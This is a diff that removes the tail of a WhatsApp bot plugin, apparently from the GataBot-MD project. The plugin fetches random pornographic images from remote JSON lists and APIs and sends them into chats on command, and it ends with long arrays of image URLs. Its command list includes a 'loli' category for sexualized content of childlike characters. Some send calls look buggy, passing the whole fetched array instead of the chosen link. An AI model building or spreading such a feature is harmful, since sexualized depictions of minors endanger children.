-await conn.sendFile(m.chat, res, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, res, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'porno' || command == 'porn') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/porno.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, res, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno 4k' : 'nsfws 4k'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'porno4k' : 'porn4k'}`]], m, frep)}
-
-if (command == 'pornorandom' || command == 'pornrandom') {
-let rawjsonn = ['https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/tetas.json', 'https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/booty.json', 'https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/imagenlesbians.json', 'https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/panties.json', 'https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/porno.json']
-let rawjson = await rawjsonn[Math.floor(rawjsonn.length * Math.random())]
-let res = (await axios.get(rawjson)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornopechos' || command == 'nsfwbreasts') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/pechos.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno muslo' : 'nsfw hthigh'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornomuslo' : 'nsfwhthigh'}`]], m, frep)}
-
-if (command == 'pornoyaoi' || command == 'nsfwyaoi') {
-let res = (await axios.get(`https://raw.githubusercontent.com/HasamiAini/wabot_takagisan/main/whatsapp%20bot%20takagisan/whatsapp%20bot%20takagisan/lib/Yaoi.json`)).data //`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/yaoi.json`
-let enlace = await res[Math.floor(res.length * Math.random())]
-let link = enlace.image
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno yaoi 2' : 'nsfw yaoi 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoyaoi2' : 'nsfwyaoi2'}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno yaoi 2' : 'nsfw yaoi 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoyaoi2' : 'nsfwyaoi2'}`]], m, frep)}}
-
-if (command == 'pornoyaoi2' || command == 'nsfwyaoi2') {
-let res = await fetch(`https://purrbot.site/api/img/nsfw/yaoi/gif`)
-let json = await res.json()
-let enlace = json.link
-if (enlace.slice(-3) == 'gif') {
-let stickerr = await sticker(false, enlace, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno yaoi 3' : 'nsfw yaoi 3'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoyaoi3' : 'nsfwyaoi3'}`]], fkontak, m)}}
-
-if (command == 'pornoyuri' || command == 'nsfwyuri') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/yuri.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno yuri 2' : 'nsfw yuri 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoyuri2' : 'nsfwyuri2'}`]], m, frep)}
-
-if (command == 'pornoyuri2' || command == 'nsfwyuri2') {
-let res = await fetch(`https://purrbot.site/api/img/nsfw/yuri/gif`)
-let json = await res.json()
-let link = json.link
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno yuri 3' : 'nsfw yuri 3'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoyuri3' : 'nsfwyuri3'}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno yuri 3' : 'nsfw yuri 3'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoyuri3' : 'nsfwyuri3'}`]], m, frep)}}
-
-if (command == 'pornodarling' || command == 'nsfwdarling') {
-let list = global.darling
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornodragonmaid' || command == 'nsfwdragonmaid') {
-let list = global.dragonmaid
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornokonosuba' || command == 'nsfwkonosuba') {
-let list = global.konosuba
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornopokemon' || command == 'nsfwpokemon') {
-let list = global.pokemon
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornotoloveru' || command == 'nsfwtoloveru') {
-let list = global.toloveru
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornouzaki' || command == 'nsfwuzaki') {
-let list = global.uzaki
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornopack' || command == 'nsfwpack') {
-let list = global.pack
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno pack chica' : 'nsfw pack girl'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornopackchica' : 'nsfwpackgirl'}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno pack chico' : 'nsfw pack men'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornopackchico' : 'nsfwpackmen'}`]], m, frep)}
-
-if (command == 'pornopackchica' || command == 'nsfwpackgirl') {
-let list = global.packgirl
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornopackchico' || command == 'nsfwpackmen') {
-let list = global.packmen
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-} catch (e) {
-await conn.sendButton(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, null, [[lenguajeGB.smsMensError1(), `#reporte ${lenguajeGB['smsMensError2']()} *${usedPrefix + command}*`]], m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)}
-}
-handler.command = ['pornololi', 'nsfwloli', 'pornopies', 'nsfwfoot', 'pornoass', 'nsfwass', 'pornobdsm', 'nsfwbdsm', 'pornocum', 'nsfwcum', 'pornoero', 'nsfwero', 'pornodominar', 'nsfwfemdom', 'pornoglass', 'nsfwglass', 'pornohentai', 'nsfwhentai', 'pornorgia', 'nsfworgy', 'pornotetas', 'nsfwboobs', 'pornobooty', 'nsfwbooty', 'pornoecchi', 'nsfwecchi', 'pornofurro', 'nsfwfurry', 'pornotrapito', 'nsfwtrap', 'pornolesbiana', 'nsfwlesbian', 'pornobragas', 'nsfwpanties', 'pornopene', 'nsfwpenis', 'porno', 'porn', 'pornorandom', 'pornrandom', 'pornopechos', 'nsfwbreasts', 'pornoyaoi', 'nsfwyaoi', 'pornoyaoi2', 'nsfwyaoi2', 'pornoyuri', 'nsfwyuri',
-'pornoyuri2', 'nsfwyuri2', 'pornodarling', 'nsfwdarling', 'pornodragonmaid', 'nsfwdragonmaid', 'pornokonosuba', 'nsfwkonosuba', 'pornopokemon', 'nsfwpokemon',
-'pornotoloveru', 'nsfwtoloveru', 'pornouzaki', 'nsfwuzaki', 'pornopack', 'nsfwpack', 'pornopackchica', 'nsfwpackgirl', 'pornopackchico', 'nsfwpackmen']
-//handler.level = 5
-//handler.limit = 1
-export default handler
-
-
-global.darling = ['https://img.nickpic.host/q7SLrX.jpg',
-'https://img.nickpic.host/q7STNf.jpg',
-'https://img.nickpic.host/q7Skee.jpg',
-'https://img.nickpic.host/q7SeMF.jpg',
-'https://img.nickpic.host/q7S9lM.jpg',
-'https://img.nickpic.host/q7S0WP.jpg',
-'https://img.nickpic.host/q7Sfz5.jpg',
-'https://img.nickpic.host/q7SVuD.jpg',
-'https://img.nickpic.host/q7SNmd.jpg',
-'https://img.nickpic.host/q7SYNq.jpg',
-'https://img.nickpic.host/q7SPQb.jpg',
-'https://img.nickpic.host/q7SZo6.jpg',
-'https://img.nickpic.host/q7SdAp.jpg',
-'https://img.nickpic.host/q7SyzY.jpg',
-'https://img.nickpic.host/q7cGZA.jpg',
-'https://img.nickpic.host/q7cm5G.jpg',
-'https://img.nickpic.host/q7coMz.jpg',
-'https://img.nickpic.host/q7cxrW.jpg',
-'https://img.nickpic.host/q7cpkc.jpg',
-'https://img.nickpic.host/q7cBQ1.jpg',
-'https://img.nickpic.host/q7cbVj.jpg',
-'https://img.nickpic.host/q7csoJ.jpg',
-'https://img.nickpic.host/q7c3An.jpg',
-'https://img.nickpic.host/q7cF7s.jpg',
-'https://img.nickpic.host/q7caZ2.jpg',
-'https://img.nickpic.host/q7cl5Q.jpg',
-'https://img.nickpic.host/q7c5Rx.jpg',
-'https://img.nickpic.host/q7cSkN.jpg',
-'https://img.nickpic.host/q7cgsO.jpg',
-'https://img.nickpic.host/q7cqUm.jpg',
-'https://img.nickpic.host/q7cuV8.jpg',
-'https://img.nickpic.host/q7cEpq.jpg',
-'https://img.nickpic.host/q7ch7D.jpg',
-'https://img.nickpic.host/q7cOAd.jpg',
-'https://img.nickpic.host/q7c6d5.jpg',
-'https://img.nickpic.host/q7cQ5P.jpg',
-'https://img.nickpic.host/q7cURM.jpg',
-'https://img.nickpic.host/q7cXJF.jpg',
-'https://img.nickpic.host/q7cnse.jpg',
-'https://img.nickpic.host/q7ctUX.jpg',
-'https://img.nickpic.host/q7cMfb.jpg',
-'https://img.nickpic.host/q7c1pf.jpg',
-'https://img.nickpic.host/q7c4E6.jpg',
-'https://img.nickpic.host/q7cD8p.jpg',
-'https://img.nickpic.host/q7cwdY.jpg',
-'https://img.nickpic.host/q7c7SA.jpg',
-'https://img.nickpic.host/q7c81G.jpg',
-'https://img.nickpic.host/q7cH3c.jpg',
-'https://img.nickpic.host/q7cKJz.jpg',
-'https://img.nickpic.host/q7cNUW.jpg',
-'https://img.nickpic.host/q7cVf1.jpg',
-'https://img.nickpic.host/q7c2EJ.jpg',
-'https://img.nickpic.host/q7c0vj.jpg',
-'https://img.nickpic.host/q7c98n.jpg',
-'https://img.nickpic.host/q7ceys.jpg',
-'https://img.nickpic.host/q7cL1Q.jpg',
-'https://img.nickpic.host/q7cJS2.jpg',
-'https://img.nickpic.host/q7cPLx.jpg',
-'https://img.nickpic.host/q7cW3N.jpg',
-'https://img.nickpic.host/q7cZXO.jpg',
-'https://img.nickpic.host/q7gGv8.jpg',
-'https://img.nickpic.host/q7cd0m.jpg',
-'https://img.nickpic.host/q7gIOq.jpg',
-'https://img.nickpic.host/q7goyD.jpg',
-'https://img.nickpic.host/q7gm8d.jpg',
-'https://img.nickpic.host/q7gvc5.jpg',
-'https://img.nickpic.host/q7gx1P.jpg',
-'https://img.nickpic.host/q7grFF.jpg',
-'https://img.nickpic.host/q7gBLM.jpg',
-'https://img.nickpic.host/q7gsXe.jpg',
-'https://img.nickpic.host/q7g30X.jpg',
-'https://img.nickpic.host/q7gaxb.jpg',
-'https://img.nickpic.host/q7gjOf.jpg',
-'https://img.nickpic.host/q7glK6.jpg',
-'https://img.nickpic.host/q7gSGp.jpg',
-'https://img.nickpic.host/q7gccY.jpg',
-'https://img.nickpic.host/q7gg4A.jpg',
-'https://img.nickpic.host/q7gqPG.jpg',
-'https://img.nickpic.host/q7gEic.jpg',
-'https://img.nickpic.host/q7gAFz.jpg',
-'https://img.nickpic.host/q7gO0W.jpg',
-'https://img.nickpic.host/q7gChj.jpg',
-'https://img.nickpic.host/q7gQKJ.jpg',
-'https://img.nickpic.host/q7g6x1.jpg',
-'https://img.nickpic.host/q7gXGn.jpg',
-'https://img.nickpic.host/q7gigs.jpg',
-'https://img.nickpic.host/q7gn42.jpg',
-'https://img.nickpic.host/q7gtPQ.jpg',
-'https://img.nickpic.host/q7g1iN.jpg',
-'https://img.nickpic.host/q7gRax.jpg',
-'https://img.nickpic.host/q7g42O.jpg',
-'https://img.nickpic.host/q7gwBm.jpg',
-'https://img.nickpic.host/q7g7Yq.jpg',
-'https://img.nickpic.host/q7gzh8.jpg',
-'https://img.nickpic.host/q7gKGd.jpg',
-'https://img.nickpic.host/q7gYgD.jpg',
-'https://img.nickpic.host/q7gHD5.jpg',
-'https://img.nickpic.host/q7gfaM.jpg',
-'https://img.nickpic.host/q7gNPP.jpg',
-'https://img.nickpic.host/q7g0nF.jpg',
-'https://img.nickpic.host/q7g22e.jpg',
-'https://img.nickpic.host/q7geBX.jpg',
-'https://img.nickpic.host/q7gPI6.jpg',
-'https://img.nickpic.host/q7gk6b.jpg',
-'https://img.nickpic.host/q7gJYf.jpg',
-'https://img.nickpic.host/q7gTqp.jpg',
-'https://img.nickpic.host/q7gWDY.jpg',
-'https://img.nickpic.host/q7gZTA.jpg',
-'https://img.nickpic.host/q7qGnz.jpg',
-'https://img.nickpic.host/q7gyjG.jpg',
-'https://img.nickpic.host/q7qI9c.jpg',
-'https://img.nickpic.host/q7qoBW.jpg',
-'https://img.nickpic.host/q7qp61.jpg',
-'https://img.nickpic.host/q7qBIJ.jpg',
-'https://img.nickpic.host/q7qvHj.jpg',
-'https://img.nickpic.host/q7qbqn.jpg',
-'https://img.nickpic.host/q7qrws.jpg',
-'https://img.nickpic.host/q7qFjQ.jpg',
-'https://img.nickpic.host/q7qsT2.jpg',
-'https://img.nickpic.host/q7qatx.jpg',
-'https://img.nickpic.host/q7qj9N.jpg',
-'https://img.nickpic.host/q7qcH8.jpg',
-'https://img.nickpic.host/q7q5bO.jpg',
-'https://img.nickpic.host/q7qSCm.jpg',
-'https://img.nickpic.host/q7qqmq.jpg']
-
-
-global.dragonmaid = ['https://img.nickpic.host/qzZPkc.jpg',
-'https://img.nickpic.host/qzZJ5G.jpg',
-'https://img.nickpic.host/qzZeZA.jpg',
-'https://img.nickpic.host/qzZLMz.jpg',
-'https://img.nickpic.host/qzZVNf.jpg',
-'https://img.nickpic.host/qzZHrX.jpg',
-'https://img.nickpic.host/qzZ9zY.jpg',
-'https://img.nickpic.host/qzZ0o6.jpg',
-'https://img.nickpic.host/qzZ2Ap.jpg',
-'https://img.nickpic.host/qzZNQb.jpg',
-'https://img.nickpic.host/qzZWrW.jpg',
-'https://img.nickpic.host/qzZZQ1.jpg',
-'https://img.nickpic.host/qzZdVj.jpg',
-'https://img.nickpic.host/qzdIAn.jpg',
-'https://img.nickpic.host/qzdm7s.jpg',
-'https://img.nickpic.host/qzdGoJ.jpg',
-'https://img.nickpic.host/qzdoZ2.jpg',
-'https://img.nickpic.host/qzdv5Q.jpg',
-'https://img.nickpic.host/qzdxRx.jpg',
-'https://img.nickpic.host/qzdBkN.jpg',
-'https://img.nickpic.host/qzdrsO.jpg',
-'https://img.nickpic.host/qzdapq.jpg',
-'https://img.nickpic.host/qzdsUm.jpg',
-'https://img.nickpic.host/qzd3V8.jpg',
-'https://img.nickpic.host/qzdjAd.jpg',
-'https://img.nickpic.host/qzdl7D.jpg',
-'https://img.nickpic.host/qzd5d5.jpg',
-'https://img.nickpic.host/qzdc5P.jpg',
-'https://img.nickpic.host/qzdqJF.jpg',
-'https://img.nickpic.host/qzdAse.jpg',
-'https://img.nickpic.host/qzdgRM.jpg',
-'https://img.nickpic.host/qzdEUX.jpg',
-'https://img.nickpic.host/qzdOfb.jpg',
-'https://img.nickpic.host/qzd6pf.jpg',
-'https://img.nickpic.host/qzdCE6.jpg',
-'https://img.nickpic.host/qzdUdY.jpg',
-'https://img.nickpic.host/qzdQ8p.jpg',
-'https://img.nickpic.host/qzdiSA.jpg',
-'https://img.nickpic.host/qzdn1G.jpg',
-'https://img.nickpic.host/qzdtJz.jpg',
-'https://img.nickpic.host/qzdR3c.jpg',
-'https://img.nickpic.host/qzd1UW.jpg',
-'https://img.nickpic.host/qzd4f1.jpg',
-'https://img.nickpic.host/qzdwvj.jpg',
-'https://img.nickpic.host/qzd78n.jpg',
-'https://img.nickpic.host/qzdzEJ.jpg',
-'https://img.nickpic.host/qzd8ys.jpg',
